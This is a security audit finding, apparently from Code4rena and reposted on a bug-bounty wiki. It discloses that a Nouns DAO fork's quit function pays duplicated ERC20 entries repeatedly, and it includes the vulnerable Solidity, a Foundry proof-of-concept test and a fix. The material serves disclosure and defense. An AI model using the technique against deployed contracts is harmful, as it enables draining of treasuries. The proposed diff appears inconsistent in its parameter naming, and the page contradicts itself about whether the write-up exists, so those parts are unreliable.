User can steal tokens by using duplicated ERC20 tokens as parameter in NounsDAOLogicV1Fork.quit
The quit function in NounsDAOLogicV1Fork did not check for duplicate ERC20 token addresses in the user-supplied list, allowing a user to specify the same token multiple times and receive multiple times the intended share of that token, potentially draining the contract's balance of that token.
jasonxiale Follow with iglyx, 0xA5DF and 3 others
Originally disclosed on Code4rena
Submitted by jasonxiale, also found by iglyx, 0xA5DF, said, shark, and 0xG0P1
Calling NounsDAOLogicV1Fork.quit by using dupliated ERC20 tokens, malicious user can gain more ERC20 tokens than he/she is supposed to, even drain all ERC20 tokens.
Proof of Concept
In function, NounsDAOLogicV1Fork.quit, erc20TokensToInclude is used to specified tokens a user wants to get, but since the function doesn’t verify if erc20TokensToInclude contains dupliated tokens, it’s possible that a malicious user calls the function by specify the ERC20 more than once to get more share tokens.
function quit(uint256[] calldata tokenIds, address[] memory erc20TokensToInclude) external nonReentrant {
// check that erc20TokensToInclude is a subset of `erc20TokensToIncludeInQuit`
address[] memory erc20TokensToIncludeInQuit_ = erc20TokensToIncludeInQuit;
for (uint256 i = 0; i < erc20TokensToInclude.length; i++) {
if (!isAddressIn(erc20TokensToInclude[i], erc20TokensToIncludeInQuit_)) {
revert TokensMustBeASubsetOfWhitelistedTokens();
}
}
quitInternal(tokenIds, erc20TokensToInclude);
}
function quitInternal(uint256[] calldata tokenIds, address[] memory erc20TokensToInclude) internal {
checkGovernanceActive();
uint256 totalSupply = adjustedTotalSupply();
for (uint256 i = 0; i < tokenIds.length; i++) {
nouns.transferFrom(msg.sender, address(timelock), tokenIds[i]);
}
uint256[] memory balancesToSend = new uint256[](erc20TokensToInclude.length);
// Capture balances to send before actually sending them, to avoid the risk of external calls changing balances.
uint256 ethToSend = (address(timelock).balance * tokenIds.length) / totalSupply;
for (uint256 i = 0; i < erc20TokensToInclude.length; i++) {
IERC20 erc20token = IERC20(erc20TokensToInclude[i]);
balancesToSend[i] = (erc20token.balanceOf(address(timelock)) * tokenIds.length) / totalSupply;
}
// Send ETH and ERC20 tokens
timelock.sendETH(payable(msg.sender), ethToSend);
for (uint256 i = 0; i < erc20TokensToInclude.length; i++) {
if (balancesToSend[i] > 0) {
timelock.sendERC20(msg.sender, erc20TokensToInclude[i], balancesToSend[i]);
}
}
emit Quit(msg.sender, tokenIds);
}
Add the following code in test/foundry/governance/fork/NounsDAOLogicV1Fork.t.sol file NounsDAOLogicV1Fork_Quit_Test contract, and run forge test --ffi --mt test_quit_allowsChoosingErc20TokensToIncludeTwice.
function test_quit_allowsChoosingErc20TokensToIncludeTwice() public {
vm.prank(quitter);
address[] memory tokensToInclude = new address[](3);
//****************************
// specify token2 three times
//****************************
tokensToInclude[0] = address(token2);
tokensToInclude[1] = address(token2);
tokensToInclude[2] = address(token2);
dao.quit(quitterTokens, tokensToInclude);
assertEq(quitter.balance, 24 ether);
assertEq(token1.balanceOf(quitter), 0);
//****************************
// get 3 time tokens
//****************************
assertEq(token2.balanceOf(quitter), 3 * (TOKEN2_BALANCE * 2) / 10);
}
Tools Used
VS
Recommended Mitigation Steps
By using function checkForDuplicates to prevent the issue
--- NounsDAOLogicV1Fork.sol 2023-07-12 21:32:56.925848531 +0800
+++ NounsDAOLogicV1ForkNew.sol 2023-07-12 21:32:34.006158294 +0800
@@ -203,8 +203,9 @@
quitInternal(tokenIds, erc20TokensToIncludeInQuit);
}
- function quit(uint256[] calldata tokenIds, address[] memory erc20TokensToInclude) external nonReentrant {
+ function quit(uint256[] calldata tokenIds, address[] memory erc20tokenstoinclude) external nonReentrant {
// check that erc20TokensToInclude is a subset of `erc20TokensToIncludeInQuit`
+ checkForDuplicates(erc20tokenstoinclude);
address[] memory erc20TokensToIncludeInQuit_ = erc20TokensToIncludeInQuit;
for (uint256 i = 0; i < erc20TokensToInclude.length; i++) {
if (!isAddressIn(erc20TokensToInclude[i], erc20TokensToIncludeInQuit_)) {
eladmallel (Nouns DAO) confirmed and commented:
gzeon (judge) increased severity to High
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The quit function failed to validate that the array of ERC20 token addresses contained no duplicates before calculating and sending each token's share.
Impact
A malicious user could gain more ERC20 tokens than they are supposed to, potentially draining all of that ERC20 token from the timelock.
What the attacker needed
User holds at least one DAO token; DAO has ERC20 tokens in its timelock; user can call quit with a crafted token list
The fix
The quit function should check for duplicate token addresses in the input array and reject duplicates, for example by using a checkForDuplicates function.
How it was found
- Call the quit function with a list of token IDs and an array of ERC20 token addresses where the same token address appears multiple times.
- The function calculates the share for each entry in the array, so the same token's share is calculated multiple times.
- The function sends the calculated amount for each entry, resulting in multiple transfers of the same token to the caller.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a user quits a DAO, they can ask for a share of the DAO's ERC20 tokens. The code did not check if the user listed the same token more than once, so a user could list the same token several times and get paid several times for it. This could let them take more tokens than they should, possibly all of that token held by the DAO.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.